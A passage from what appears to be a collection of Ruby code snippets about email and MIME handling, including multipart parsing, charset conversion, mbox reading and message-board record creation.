if type == 'encr_chat' then\n @message.to = chat\n else\n @message.from = chat\n end\n when 'user'\n user = TelegramContact.pick_or_new(@client, @raw_data['to'])\n @client.contacts << user unless @client.contacts.include?(user)\n @message.to = user\n end\n end\n end",
"def replace_in_pure_html_message(new_part)\n if new_part.content_type.include?('text/html')\n message.body = new_part.decoded\n message.content_type = new_part.content_type\n else\n message.body = nil\n message.content_type = new_part.content_type\n new_part.parts.each do |part|\n message.add_part(part)\n end\n end\n end",
"def html_part=(msg)\n # Assign the html part and set multipart/alternative if there's a text part.\n if msg\n msg = Mail::Part.new(:body => msg) unless msg.kind_of?(Mail::Message)\n\n @html_part = msg\n @html_part.content_type = 'text/html' unless @html_part.has_content_type?\n add_multipart_alternate_header if text_part\n add_part @html_part\n\n # If nil, delete the html part and back out of multipart/alternative.\n elsif @html_part\n parts.delete_if { |p| p.object_id == @html_part.object_id }\n @html_part = nil\n if text_part\n self.content_type = nil\n body.boundary = nil\n end\n end\n end",
"def read(data:, options: nil, callback: nil)\n parsed_data = parse(eml: data, options: options, callback: callback)\n\n begin\n result = {}\n result[:date] = new Date(parsed_data.dig(:headers)) if parsed_data.dig(:headers, 'Date')\n # byebug\n result[:subject] = unquote_string(parsed_data.dig(:headers, \"Subject\")) if parsed_data.dig(:headers, \"Subject\")\n\n %w[From To CC cc].each do |item|\n result[item] = get_email_address(parsed_data.dig(:headers, item))\n end\n\n result[:headers] = parsed_data.dig(:headers)\n\n boundary = nil\n ct = parsed_data.dig(:headers, 'Content-Type')\n # byebug\n if ct && ct.match(/^multipart\\//)\n b = get_boundary(ct)\n if b && b.length\n boundary = b\n end\n end\n\n if boundary\n for body_data in data.dig(:body)\n if body_data.dig(:part).instance_of? (String)\n result[:data] = body_data[:part]\n else\n if body_data.dig(:part, :body).instance_of? (String)\n headers = body_data.dig(:part, :headers)\n content = body_data.dig(:part, :body)\n append_boundary(headers, content)\n else\n for item in body_data.dig(:part, :body) do\n if item.instance_of?(String)\n result[:data] = body_data.dig(:part, :body)[item]\n next\n end\n\n headers = body_data.dig(:part, :body, item, :part, :headers)\n content = body_data.dig(:part, :body, item, :part, :body)\n\n append_boundary(headers, content)\n end\n end\n end\n end\n elsif data.dig(:body).instance_of?(String)\n append_boundary(data.dig(:headers), data.dig(body))\n end\n callback.call(result)\n rescue StandardError => e\n puts e\n end\n end",
"def initialize(message)\n @message = message\n\n @existing_html_part = message.html_part || (message.content_type =~ /text\\/html/ && message)\n @premailer = ActionMailer::InStyle::Premailer.new(html_part.body.to_s, :with_html_string => true, :remove_classes => true)\n end",
"def convert_uu(msg)\n nmsg = nil\n\n nbody = msg.decode.gsub(UU_RE) { |s|\n filename, data = $1, $2.unpack('u')\n\n $stderr.puts \"%sFound a uuencoded section!\\n\" % [ $indent ] if $DEBUG\n\n unless nmsg\n # Now that we know there's a uuencoded section, build up a\n # multipart message\n nmsg = RMail::Message.new\n nmsg.header.replace(msg.header.dup)\n nmsg.header.delete('Content-Transfer-Encoding')\n nmsg.header.delete('Content-Length')\n nmsg.header.delete('Lines')\n nmsg.header.set('Content-Type', 'multipart/mixed', \n 'boundary' => '=-=-=-=-uu2mime-boundary-'+nmsg.object_id.to_s)\n nmsg.header.set('Content-Disposition', 'inline')\n nmsg.preamble = \"This is a multipart message converted by uu2mime\\n\"\n nmsg.epilogue = ''\n\n # This will eventually be the text/plain portion\n nmsg.add_part(RMail::Message.new)\n end\n\n # Convert this uuencoded section to an attachment\n npart = RMail::Message.new\n npart.header.set('Content-Type', 'application/octet-stream')\n npart.header.set('Content-Disposition', 'attachment', \n 'filename' => filename)\n npart.header.set('Content-Transfer-Encoding', 'base64')\n npart.body = data.pack('m')\n nmsg.add_part(npart)\n\n # Replace the uuencoded section with a note\n '[-- uu2mime snipped ' + filename + ' --]'\n }\n\n if nmsg\n # Tack the text/plain portion on the front.\n # Remove the old Content-Transfer-Encoding header since we've\n # decoded the section (is this the best?)\n nmsg.part(0).header.set('Content-Type', 'text/plain',\n 'charset' => 'us-ascii')\n nmsg.part(0).header.set('Content-Disposition', 'inline')\n nmsg.part(0).body = nbody\n end\n\n return nmsg\nend",
"def parse_multipart(boundary, body)\n reader = MultipartParser::Reader.new(boundary)\n result = { errors: [], parts: [] }\n def result.part(name)\n hash = self[:parts].detect { |h| h[:part].name == name }\n [hash[:part], hash[:body].join]\n end\n\n reader.on_part do |part|\n result[:parts] << thispart = {\n part: part,\n body: []\n }\n part.on_data do |chunk|\n thispart[:body] << chunk\n end\n end\n reader.on_error do |msg|\n result[:errors] << msg\n end\n reader.write(body)\n result\n end",
"def part(params)\n ActiveSupport::Deprecation.warn \"part() is deprecated and will be removed in future versions. \" <<\n \"Please pass a block to mail() instead.\"\n params = {:content_type => params} if String === params\n\n if custom_headers = params.delete(:headers)\n params.merge!(custom_headers)\n end\n\n part = Mail::Part.new(params)\n\n yield part if block_given?\n @parts << part\n end",
"def build_message(mail_text)\n Mail.new(mail_text)\n end",
"def build_message\n @subject = RecipientsFor::Subject.new\n @content = RecipientsFor::Content.new\n end",
"def flatten(message, parts)\n parts.each do |part|\n if part.multipart?\n flatten(message, part.parts)\n else\n message.parts << part\n end\n end\n message\n end",
"def read_multipart(boundary, content_length)\n ## read first boundary\n stdin = stdinput\n first_line = \"--#{boundary}#{EOL}\"\n content_length -= first_line.bytesize\n status = stdin.read(first_line.bytesize)\n raise EOFError.new(\"no content body\") unless status\n raise EOFError.new(\"bad content body\") unless first_line == status\n ## parse and set params\n params = {}\n @files = {}\n boundary_rexp = /--#{Regexp.quote(boundary)}(#{EOL}|--)/\n boundary_size = \"#{EOL}--#{boundary}#{EOL}\".bytesize\n buf = ''.dup\n bufsize = 10 * 1024\n max_count = MAX_MULTIPART_COUNT\n n = 0\n tempfiles = []\n while true\n (n += 1) < max_count or raise StandardError.new(\"too many parameters.\")\n ## create body (StringIO or Tempfile)\n body = create_body(bufsize < content_length)\n tempfiles << body if defined?(Tempfile) && body.kind_of?(Tempfile)\n class << body\n if method_defined?(:path)\n alias local_path path\n else\n def local_path\n nil\n end\n end\n attr_reader :original_filename, :content_type\n end\n ## find head and boundary\n head = nil\n separator = EOL * 2\n until head && matched = boundary_rexp.match(buf)\n if !head && pos = buf.index(separator)\n len = pos + EOL.bytesize\n head = buf[0, len]\n buf = buf[(pos+separator.bytesize)..-1]\n else\n if head && buf.size > boundary_size\n len = buf.size - boundary_size\n body.print(buf[0, len])\n buf[0, len] = ''\n end\n c = stdin.read(bufsize < content_length ? bufsize : content_length)\n raise EOFError.new(\"bad content body\") if c.nil? || c.empty?\n buf << c\n content_length -= c.bytesize\n end\n end\n ## read to end of boundary\n m = matched\n len = m.begin(0)\n s = buf[0, len]\n if s =~ /(\\r?\\n)\\z/\n s = buf[0, len - $1.bytesize]\n end\n body.print(s)\n buf = buf[m.end(0)..-1]\n boundary_end = m[1]\n content_length = -1 if boundary_end == '--'\n ## reset file cursor position\n body.rewind\n ## original filename\n /Content-Disposition:.* filename=(?:\"(.*?)\"|([^;\\r\\n]*))/i.match(head)\n filename = $1 || $2 || ''.dup\n filename = CGI.unescape(filename) if unescape_filename?()\n body.instance_variable_set(:@original_filename, filename)\n ## content type\n /Content-Type: (.*)/i.match(head)\n (content_type = $1 || ''.dup).chomp!\n body.instance_variable_set(:@content_type, content_type)\n ## query parameter name\n /Content-Disposition:.* name=(?:\"(.*?)\"|([^;\\r\\n]*))/i.match(head)\n name = $1 || $2 || ''\n if body.original_filename.empty?\n value=body.read.dup.force_encoding(@accept_charset)\n body.close! if defined?(Tempfile) && body.kind_of?(Tempfile)\n (params[name] ||= []) << value\n unless value.valid_encoding?\n if @accept_charset_error_block\n @accept_charset_error_block.call(name,value)\n else\n raise InvalidEncoding,\"Accept-Charset encoding error\"\n end\n end\n class << params[name].last;self;end.class_eval do\n define_method(:read){self}\n define_method(:original_filename){\"\"}\n define_method(:content_type){\"\"}\n end\n else\n (params[name] ||= []) << body\n @files[name]=body\n end\n ## break loop\n break if content_length == -1\n end\n raise EOFError, \"bad boundary end of body part\" unless boundary_end =~ /--/\n params.default = []\n params\n rescue Exception\n if tempfiles\n tempfiles.each {|t|\n if t.path\n t.close!\n end\n }\n end\n raise\n end",
"def newMessage\n message = Message.last\n\n MagicMailer.newMessage(message)\n end",
"def text_part=(msg)\n # Assign the text part and set multipart/alternative if there's an html part.\n if msg\n msg = Mail::Part.new(:body => msg) unless msg.kind_of?(Mail::Message)\n\n @text_part = msg\n @text_part.content_type = 'text/plain' unless @text_part.has_content_type?\n add_multipart_alternate_header if html_part\n add_part @text_part\n\n # If nil, delete the text part and back out of multipart/alternative.\n elsif @text_part\n parts.delete_if { |p| p.object_id == @text_part.object_id }\n @text_part = nil\n if html_part\n self.content_type = nil\n body.boundary = nil\n end\n end\n end",
"def render_multipart(method_name, body)\n if Setting.plain_text_mail?\n content_type \"text/plain\"\n body render(:file => \"#{method_name}.text.plain.rhtml\", :body => body, :layout => 'mailer.text.erb')\n else\n content_type \"multipart/alternative\"\n part :content_type => \"text/plain\", :body => render(:file => \"#{method_name}.text.plain.rhtml\", :body => body, :layout => 'mailer.text.erb')\n part :content_type => \"text/html\", :body => render_message(\"#{method_name}.text.html.rhtml\", body)\n end\n end",
"def part(mime_type)\n part = mail.parts.find{|p| p.mime_type == mime_type}\n part.body.to_s if part\n end",
"def get_message_from_messageinfo m\n return nil if m.fake?\n @messages[m.message_id] ||= begin\n message = @context.client.load_message m.message_id\n message.parse! @context\n message.chunks.each { |c| @chunk_layouts[c] = ChunkLayout.new c }\n\n if message.unread?\n message.state -= [\"unread\"]\n @context.client.async_set_state! message.message_id, message.state\n @context.ui.broadcast :message_state, message.message_id\n end\n\n message\n end\n end",
"def _convert_part_body_to_text(part)\n if part.nil?\n text = \"[ Email has no body, please see attachments ]\"\n text_charset = \"utf-8\"\n else\n text = part.body\n text_charset = part.charset\n if part.content_type == 'text/html'\n # e.g. http://www.whatdotheyknow.com/request/35/response/177\n # XXX This is a bit of a hack as it is calling a convert to text routine.\n # Could instead call a sanitize HTML one.\n text = IncomingMessage._get_attachment_text_internal_one_file(part.content_type, text)\n end\n end\n\n # Charset conversion, turn everything into UTF-8\n if not text_charset.nil?\n begin\n # XXX specially convert unicode pound signs, was needed here\n # http://www.whatdotheyknow.com/request/88/response/352\n text = text.gsub(\"£\", Iconv.conv(text_charset, 'utf-8', '£')) \n # Try proper conversion\n text = Iconv.conv('utf-8', text_charset, text)\n rescue Iconv::IllegalSequence, Iconv::InvalidEncoding\n # Clearly specified charset was nonsense\n text_charset = nil\n end\n end\n if text_charset.nil?\n # No specified charset, so guess\n \n # Could use rchardet here, but it had trouble with \n # http://www.whatdotheyknow.com/request/107/response/144\n # So I gave up - most likely in UK we'll only get windows-1252 anyway.\n\n begin\n # See if it is good UTF-8 anyway\n text = Iconv.conv('utf-8', 'utf-8', text)\n rescue Iconv::IllegalSequence\n begin\n # Or is it good windows-1252, most likely\n text = Iconv.conv('utf-8', 'windows-1252', text)\n rescue Iconv::IllegalSequence\n # Text looks like unlabelled nonsense, strip out anything that isn't UTF-8\n text = Iconv.conv('utf-8//IGNORE', 'utf-8', text) + \"\\n\\n[ WhatDoTheyKnow note: The above text was badly encoded, and has had strange characters removed. ]\"\n end\n end\n end\n \n # An assertion that we have ended up with UTF-8 XXX can remove as this should\n # always be fine if code above is\n Iconv.conv('utf-8', 'utf-8', text)\n\n # Fix DOS style linefeeds to Unix style ones (or other later regexps won't work)\n # Needed for e.g. http://www.whatdotheyknow.com/request/60/response/98\n text = text.gsub(/\\r\\n/, \"\\n\")\n\n # Compress extra spaces down to save space, and to stop regular expressions\n # breaking in strange extreme cases. e.g. for\n # http://www.whatdotheyknow.com/request/spending_on_consultants\n text = text.gsub(/ +/, \" \")\n\n return text\n end",
"def transform(params)\n # Make variables available to the `encode` method.\n @params = params\n @charsets = JSON.load(params['charsets'])\n\n # Mail changes `self`.\n this = self\n\n message = Message::SendGrid.new do\n # SendGrid includes a `charsets` parameter, which describes the\n # encodings of the `from`, `to`, `cc` and `subject` parameters, which\n # we don't need because we parse the headers directly.\n # @see http://sendgrid.com/docs/API_Reference/Webhooks/parse.html#-Character-Sets-and-Header-Decoding\n header params['headers']\n\n # The following are redundant with `headers`:\n #\n # from params['from']\n # to params['to']\n # cc params['cc']\n # subject params['subject']\n\n text_part do\n body this.encode('text')\n end\n\n if params.key?('html')\n html_part do\n content_type 'text/html; charset=UTF-8'\n body this.encode('html')\n end\n end\n\n 1.upto(params['attachments'].to_i) do |n|\n attachment = params[\"attachment#{n}\"]\n add_file(this.class.add_file_arguments(attachment))\n end\n end\n\n # Extra SendGrid parameters.\n message.dkim = params['dkim']\n message.spf = params['SPF']\n message.spam_report = params['spam_report']\n message.spam_score = params['spam_score']\n\n # Discard `envelope`, which contains `to` and `from`, and the\n # undocumented `attachment-info`.\n [message]\n end",
"def to_h message_id, preferred_type\n parts = mime_parts(preferred_type).map do |type, fn, cid, content, size|\n if type =~ /^text\\//\n { :type => type, :filename => fn, :cid => cid, :content => content, :here => true }\n else\n { :type => type, :filename => fn, :cid => cid, :size => content.size, :here => false }\n end\n end.compact\n\n { :from => (from ? from.to_email_address : \"\"),\n :to => to.map(&:to_email_address),\n :cc => (cc || []).map(&:to_email_address),\n :bcc => (bcc || []).map(&:to_email_address),\n :subject => subject,\n :date => date,\n :refs => refs,\n :parts => parts,\n :message_id => message_id,\n :snippet => snippet,\n :reply_to => (reply_to ? reply_to.to_email_address : \"\"),\n\n :recipient_email => recipient_email,\n :list_post => list_post,\n :list_subscribe => list_subscribe,\n :list_unsubscribe => list_unsubscribe,\n\n :email_message_id => @msgid,\n }\n end",
"def forward_message(params={})\n response.from = request.from\n response.reply_to = settings.service.default_sender \n response.subject = request.subject\n\n params.each do |k,v|\n response.send(\"#{k}=\", v)\n end\n\n if request.multipart?\n response.text_part = request.text_part\n response.html_part = request.html_part\n else\n response.body = request.body.to_s\n end\n end",
"def initialize(params)\n raise 'No user' unless params[:user] or params[:userid]\n unless ((params[:category] or params[:categoryid]) || (params[:parent] or params[:parentmessageid]))\n raise 'No category or parentmessage'\n end\n raise 'No body' unless params[:body]\n super(params)\n\n # COPY mbmessage (uuid_, messageid, companyid, userid, username, createdate, modifieddate, categoryid, threadid, parentmessageid, subject, body, attachments, anonymous) FROM stdin;\n # +66089117-ddb5-4577-ba9b-76479a273727\t10308\t10109\t10129\tTest Test\t2009-01-17 08:07:11.947\t2009-01-17 08:07:11.947\t10307\t10309\t0\tNew thread\tThis is a test, using rich editor.\tf\tf\n\n unless self.uuid_\n require 'rubygems'\n require 'uuidtools'\n self.uuid_ = UUID.random_create.to_s\n end\n\n self.category ||= self.parent.category\n category = self.category\n\n self.companyid ||= category.companyid\n\n # always require User\n #unless self.userid\n # self.userid = 0\n # self.anonymous = true\n #else\n self.anonymous = false\n #end\n\n self.createdate = Time.now\n self.modifieddate = Time.now\n self.username ||= self.user ? self.user.fullname : ''\n self.parentmessageid ||= 0\n self.attachments ||= false\n self.subject ||= (self.parent ? 're: %s' % self.parent.subject : '')\n self.save\n\n\n # COPY mbcategory (uuid_, categoryid, groupid, companyid, userid, username, createdate, modifieddate, parentcategoryid, name, description, lastpostdate) FROM stdin;\n # -fda18eef-3992-419e-a373-6e2f01a8b6a9\t10307\t10166\t10109\t10129\tTest Test\t2009-01-17 08:06:00.359\t2009-01-17 08:06:00.359\t0\tTeppo Testaaja\tmessage board for user Teppo\t\\N\n # +fda18eef-3992-419e-a373-6e2f01a8b6a9\t10307\t10166\t10109\t10129\tTest Test\t2009-01-17 08:06:00.359\t2009-01-17 08:06:00.359\t0\tTeppo Testaaja\tmessage board for user Teppo\t2009-01-17 08:07:11.947\n\n category.lastpostdate = Time.now\n category.save\n\n\n # COPY mbthread (threadid, categoryid, rootmessageid, messagecount, viewcount, lastpostbyuserid, lastpostdate, priority) FROM stdin;\n # +10309\t10307\t10308\t1\t1\t10129\t2009-01-17 08:07:11.947\t0\n\n thread = MB::Thread.find(:first,\n :conditions => \"categoryid=#{category.id} AND rootmessageid=#{self.find_thread_root.id}\")\n unless thread\n thread = MB::Thread.create(\n :category => category,\n :rootmessage => self\n )\n end\n thread.messagecount += 1\n thread.lastpostbyuserid = self.user.id\n thread.lastpostdate = Time.now\n thread.save\n self.thread = thread\n\n\n # COPY mbmessageflag (messageflagid, userid, messageid, flag) FROM stdin;\n # +10313\t10129\t10308\t1\n\n flag = (params[:flag] || 1)\n self.flag = MB::MessageFlag.create(\n :user => self.user,\n :message => self,\n :flag => flag\n )\n\n\n # COPY mbstatsuser (statsuserid, groupid, userid, messagecount, lastpostdate) FROM stdin;\n # +10310\t10166\t10129\t1\t2009-01-17 08:07:12.014\n\n stats = MB::StatsUser.find(:first, :conditions => \"groupid=#{category.groupid} AND userid=#{self.user.id}\")\n unless stats\n stats = MB::StatsUser.create(\n :groupid => category.groupid,\n :user => self.user,\n :messagecount => 0\n )\n end\n stats.messagecount += 1\n stats.lastpostdate = Time.now\n stats.save\n\n\n # COPY ratingsstats (statsid, classnameid, classpk, totalentries, totalscore, averagescore) FROM stdin;\n # +10312\t10071\t10308\t0\t0\t0\n\n classnameid = Classname.find_by_value(self.liferay_class).id\n\n unless RatingsStats.find(:first,\n :conditions => \"classnameid=#{classnameid} AND classpk=#{self.id}\")\n RatingsStats.create(\n :classnameid => classnameid,\n :classpk => self.id\n )\n end\n\n\n # COPY socialactivity (activityid, groupid, companyid, userid, createdate, mirroractivityid, classnameid, classpk, type_, extradata, receiveruserid) FROM stdin;\n # +1\t10166\t10109\t10129\t2009-01-17 08:07:12.024\t0\t10071\t10308\t1\t\t0\n\n unless SocialActivity.find(:first,\n :conditions => \"userid=#{self.user.id} AND classnameid=#{classnameid} AND classpk=#{self.id}\")\n SocialActivity.create(\n :group => category.group,\n :company => self.company,\n :user => self.user,\n :classnameid => classnameid,\n :classpk => self.id\n )\n end\n\n\n # COPY tagsasset (assetid, groupid, companyid, userid, username, createdate, modifieddate, classnameid, classpk, startdate, enddate, publishdate, expirationdate, mimetype, title, description, summary, url, height, width, priority, viewcount) FROM stdin;\n # +10311\t10166\t10109\t10129\tTest Test\t2009-01-17 08:07:12.039\t2009-01-17 08:07:12.039\t10071\t10308\t\\N\t\\N\t\\N\t\\N\ttext/html\tNew thread\t\t\t\t0\t0\t0\t0\n\n unless Tag::Asset.find(:first,\n :conditions => \"userid=#{self.user.id} AND classnameid=#{classnameid} AND classpk=#{self.id}\")\n Tag::Asset.create(\n :group => category.group,\n :company => self.company,\n :user => self.user,\n :classnameid => classnameid,\n :classpk => self.id,\n :title => 'New thread'\n )\n end\n\n\n # ResourceCode with scope 1 => Resource for Company\n # ResourceCode with scope 2 => Resource for this Group and Guest's Group\n # ResourceCode with scope 4 => Resource for self\n\n # COPY resourcecode (codeid, companyid, name, scope) FROM stdin;\n # +107\t10109\tcom.liferay.portlet.messageboards.model.MBMessage\t1\n # +108\t10109\tcom.liferay.portlet.messageboards.model.MBMessage\t2\n # +109\t10109\tcom.liferay.portlet.messageboards.model.MBMessage\t4\n\n # COPY resource_ (resourceid, codeid, primkey) FROM stdin;\n # +214\t107\t10109\n # +215\t108\t10124 << this is Guest's group\n # +216\t108\t10166\n # +217\t109\t10308\n\n # only create resources with scope 1,2 for rootmessages\n if self.is_root?\n get_resource(:scope => 1)\n get_resource(:scope => 2)\n end\n\n # Create a resource with scope=4\n resource = get_resource(:scope => 4)\n\n\n # COPY permission_ (permissionid, companyid, actionid, resourceid) FROM stdin;\n # +323\t10109\tDELETE\t217\n # +324\t10109\tPERMISSIONS\t217\n # +325\t10109\tSUBSCRIBE\t217\n # +326\t10109\tUPDATE\t217\n # +327\t10109\tVIEW\t217\n\n # COPY users_permissions (userid, permissionid) FROM stdin;\n # +10129\t323\n # +10129\t324\n # +10129\t325\n # +10129\t326\n # +10129\t327\n\n self.class.actions.each do |actionid|\n permission = Permission.get({\n :companyid => self.companyid,\n :actionid => actionid,\n :resourceid => resource.id\n })\n self.user.permissions << permission\n end\n\n self.save\n end",
"def read_message(name, uploaded_ids, strip_emailchemy=false)\n raise UnknownMbox.new(name) unless @files[name]\n raise EOFError.new if !@files[name].nil? && @files[name].closed?\n @lock.synchronize do\n @files[name] = File.open(name) if @files[name].nil?\n message = Array.new\n skip_message = false\n message_id = nil\n convert_header = !strip_emailchemy\n begin\n currentpos = 0\n while(line = @files[name].readline) do\n if(message.size == 0 && line !~ /^From - ... ... .+?[0-9]{4}$/)\n Logger.info('Line does not match message start. Skipping to next line.')\n next\n end\n if(message.size != 0 && line =~ /^From - ... ... .+?[0-9]{4}$/)\n @files[name].pos = currentpos - line.length\n break\n else\n unless(skip_message)\n if(line =~ /^message-id: (.+)$/i)\n message_id = $1.strip\n Logger.info(\"Checking message-id: #{message_id}\")\n if(uploaded_ids.include?(message_id))\n Logger.warn(\"Duplicate message identified: #{message_id}\")\n skip_message = true\n end\n end\n unless(convert_header)\n if(line =~ /^x-converted-by: emailchemy/i)\n convert_header = true\n next\n end\n end\n message.push(line)\n end\n end\n currentpos = @files[name].pos\n end\n rescue EOFError\n Logger.info(\"Reached end of file: #{name}\")\n @files[name].close\n rescue Object => boom\n Logger.warn(\"Unknown error processing #{name}: #{boom}\")\n end\n end\n if(skip_message)\n raise MessageDuplicate.new(message_id)\n else\n message.delete_at(message.size - 1)\n return message.join('')\n end\n end",
"def extract_message(data)\n # interpret input data as binary\n data.force_encoding(\"binary\")\n obj = nil\n bin = nil\n if data =~ /^(\\d+):(\\d+)\\{/\n length_length = $1.size + 1 + $2.size\n overall_length, json_length = $1.to_i, $2.to_i\n\n if data.size >= length_length + overall_length\n data.slice!(0..(length_length-1))\n\n json = data.slice!(0..json_length-1)\n # there shouldn't be any non ascii-7-bit characters, transcode just to be sure\n # encode from binary to utf-8 with :undef => :replace turns all non-ascii-7-bit bytes\n # into the replacement character (\\uFFFD)\n json.encode!(\"utf-8\", :undef => :replace)\n obj = json_to_object(json)\n\n # we already forced data to be binary encoded\n bin = data.slice!(0..(overall_length-json_length)-1)\n end\n end\n if obj\n unescape_all_strings(obj)\n type = obj[\"_message\"]\n obj.delete(\"_message\")\n Message.new(type, obj, bin)\n else\n nil\n end\nend",
"def read_multipart(boundary, content_length)\n ## read first boundary\n stdin = stdinput\n first_line = \"--#{boundary}#{EOL}\"\n content_length -= first_line.bytesize\n status = stdin.read(first_line.bytesize)\n raise EOFError.new(\"no content body\") unless status\n raise EOFError.new(\"bad content body\") unless first_line == status\n\n ## parse and set params\n params = {}\n @files = {}\n boundary_rexp = /--#{Regexp.quote(boundary)}(#{EOL}|--)/\n boundary_size = \"#{EOL}--#{boundary}#{EOL}\".bytesize\n boundary_end = nil\n buf = ''\n bufsize = 10 * 1024\n max_count = MAX_MULTIPART_COUNT\n n = 0\n tempfiles = []\n\n while true\n #(n += 1) < max_count or raise StandardError.new(\"too many parameters.\")\n\n ## create body (StringIO or Tempfile)\n body = create_body()\n #tempfiles << body if defined?(Tempfile) && body.kind_of?(Tempfile)\n tempfiles << body\n class << body\n if method_defined?(:path)\n alias local_path path\n else\n def local_path\n nil\n end\n end\n attr_reader :original_filename, :content_type\n end\n ## find head and boundary\n head = nil\n separator = EOL * 2\n until head && matched = boundary_rexp.match(buf)\n if !head && pos = buf.index(separator)\n len = pos + EOL.bytesize\n head = buf[0, len]\n buf = buf[(pos+separator.bytesize)..-1]\n else\n if head && buf.size > boundary_size\n len = buf.size - boundary_size\n body.print(buf[0, len])\n buf[0, len] = ''\n end\n c = stdin.read(bufsize < content_length ? bufsize : content_length)\n raise EOFError.new(\"bad content body\") if c.nil? || c.empty?\n buf << c\n content_length -= c.bytesize\n end\n end\n ## read to end of boundary\n m = matched\n len = m.begin(0)\n s = buf[0, len]\n if s =~ /(\\r?\\n)\\z/\n s = buf[0, len - $1.bytesize]\n end\n body.print(s)\n buf = buf[m.end(0)..-1]\n boundary_end = m[1]\n content_length = -1 if boundary_end == '--'\n ## reset file cursor position\n #body.rewind\n body.seek(0, IO::SEEK_SET)\n \n ## original filename\n /Content-Disposition:.* filename=(?:\"(.*?)\"|([^;\\r\\n]*))/i.match(head)\n filename = $1 || $2 || ''\n filename = SimpleCGI.unescape(filename)# if unescape_filename?()\n body.instance_variable_set('@original_filename', filename)\n ## content type\n /Content-Type: (.*)/i.match(head)\n (content_type = $1 || '').chomp!\n body.instance_variable_set('@content_type', content_type)\n ## query parameter name\n /Content-Disposition:.* name=(?:\"(.*?)\"|([^;\\r\\n]*))/i.match(head)\n name = $1 || $2 || ''\n if body.original_filename == \"\"\n #value=body.read.dup.force_encoding(@accept_charset)\n value=body.read.dup\n (params[name] ||= []) << value\n unless value.valid_encoding?\n if @accept_charset_error_block\n @accept_charset_error_block.call(name,value)\n else\n raise InvalidEncoding,\"Accept-Charset encoding error\"\n end\n end\n class << params[name].last;self;end.class_eval do\n define_method(:read){self}\n define_method(:original_filename){\"\"}\n define_method(:content_type){\"\"}\n end\n else\n (params[name] ||= []) << body\n @files[name]=body\n end\n ## break loop\n break if content_length == -1\n end\n\n #... raise EOFError, \"bad boundary end of body part\" unless boundary_end =~ /--/\n params.default = []\n params\n rescue => e\n p e.class\n p e.message\n p e.backtrace\n #if tempfiles\n # tempfiles.each {|t|\n # if t.path\n # t.unlink\n # end\n # }\n #end\n #raise\n end",
"def assign_body_parts(body)\n body.parts.each do |part|\n if part.multipart?\n assign_body_parts(part)\n else\n @body[part.header[\"content-type\"].sub_type] = part.body if \n part.header[\"content-type\"].main_type == \"text\"\n end #if\n end #do\n end",
"def add_text_part!\n part = Mail::Part.new\n part.body = @existing_text_part || premailer.to_plain_text\n part.content_type = \"text/plain; charset=#{@msg_charset}\"\n message.text_part = part\n end",
"def inline!\n capture_existing_message_parts\n reset_message_body!\n\n add_text_part!\n add_html_part!\n add_attachments!\n\n message\n end",
"def to_multipart\n query = @multipart_params.collect { |param| \"--\" + BOUNDARY + \"\\r\\n\" + param.to_multipart }.join(\"\") + \"--\" + BOUNDARY + \"--\"\n return query, CONTENT_TYPE\n end",
"def new_message(from, to, subject, message)\r\n rec = to.clone\r\n subs = to.concat([from])\r\n conv = Conversation.create(subs)\r\n time = Time.new\r\n message = Message.create(from, rec, subject, time, message, nil)\r\n\r\n subs.each{ |s| self.message_boxes[s.to_s].add_conversation(conv)}\r\n conv.add_message(message)\r\n\r\n self.conversations.store(conv.conversation_id.to_s, conv)\r\n conv\r\n end",
"def convert_email filename, in_dir, out_dir, language\n email = Mail.read( File.extname(filename)=='.msg' ? convert_msg(filename, in_dir, out_dir) : filename )\n f_base = filename.gsub /#{File.extname(filename)}$/, ''\n logger.debug \" email file, has #{email.attachments.size} attachments\"\n new_attachments = []\n converter = AutoHeathen::Converter.new( { logger: logger } )\n email.attachments.each do |attachment|\n content = attachment.decoded\n action = converter.get_action content.content_type\n logger.debug \" convert: #{File.basename(filename)}, content_type: #{content.content_type}, action: #{action}\"\n start_time = Time.now\n outfile, data = converter.convert action, language, attachment.filename, content\n logger.debug \" conversion took %0.2f s\"%[Time.now-start_time]\n new_attachments << { filename: File.basename(outfile), data: data }\n end\n email.charset = 'UTF-8' unless email.charset # stop annoying warning message if charset not defined in email\n # Mail#without_attachments! does not work correctly\n #email.without_attachments!\n email.parts.delete_if { |p| p.attachment? }\n new_attachments.each do |na|\n email.attachments[na[:filename]] = na[:data]\n end\n e_filename = to_outfile in_dir, filename, out_dir, \"#{f_base}.eml\"\n logger.debug \" writing #{e_filename} with #{email.attachments.size} converted attachments\"\n File.open( e_filename, 'w' ) do |f|\n f.write email.to_s\n end\nend",
"def body\n if mail.multipart?\n mail.parts.map { |part| Nokogiri::HTML(part.body.decoded).text }.join(\"\\n\\n\")\n else\n Nokogiri::HTML(mail.body.decoded).text\n end\n end",
"def to_s\n body = Rex::MIME::Message.new\n body.add_part(self.message, 'text/plain; charset=UTF-8', nil)\n\n sms = \"MIME-Version: 1.0\\n\"\n sms << \"From: #{self.from}\\n\"\n sms << \"To: #{self.to}\\n\"\n sms << \"Subject: #{self.subject}\\n\"\n sms << \"Content-Type: multipart/alternative; boundary=#{body.bound}\\n\"\n sms << \"\\n\"\n sms << body.to_s\n\n sms\n end",
"def getParts (boundary, body)\n parts = [ ]\n valid = false\n\n while 1\n position = body.index(\"--\" + boundary)\n\n break if position != 0 or position == nil\n\n follow = body.slice(position + boundary.length + 2, 2)\n\n break if follow != \"\\r\\n\" and follow != \"--\"\n\n if follow == \"--\"\n valid = true\n break\n end if\n\n # strip boundary start from body\n body = body.slice(position + boundary.length + 4, body.length)\n \n # look for boundary end\n final = body.index(\"--\" + boundary)\n\n break if final == nil\n\n # extract the part\n partTotal = body.slice(0, final)\n\n # look for envelope bounds\n position = partTotal.index(\"\\r\\n\\r\\n\");\n break if position == nil\n\n\n r = Regexp.new('content-id: ([^\\s]+)', Regexp::IGNORECASE)\n \n if r.match(partTotal.slice(0, position))\n contentId = Regexp.last_match(1)\n else\n contentId = \"\"\n end\n\n\n # strip envelope\n partTotal = partTotal.slice(position + 4, partTotal.length)\n\n # look for actual header & body\n partHeader, partBody = \"\", \"\"\n position = partTotal.index(\"\\r\\n\\r\\n\");\n\n break if position == nil\n \n partHeader = partTotal.slice(0, position)\n partBody = partTotal.slice(position + 4, partTotal.length)\n\n partHeaders = { }\n status = 500\n lineNumber = 0\n\n # parse headers and status code\n\n partHeader.each_line(\"\\r\\n\") do |line|\n if lineNumber == 0\n position = line.index(\"HTTP/1.1 \")\n break if position == nil\n status = line.slice(9, 3).to_i\n else\n key, void, value = line.partition(\":\")\n partHeaders[key.strip] = value.strip\n end\n lineNumber = lineNumber + 1\n end\n\n part = { :headers => partHeaders, :body => partBody, :status => status, :contentId => 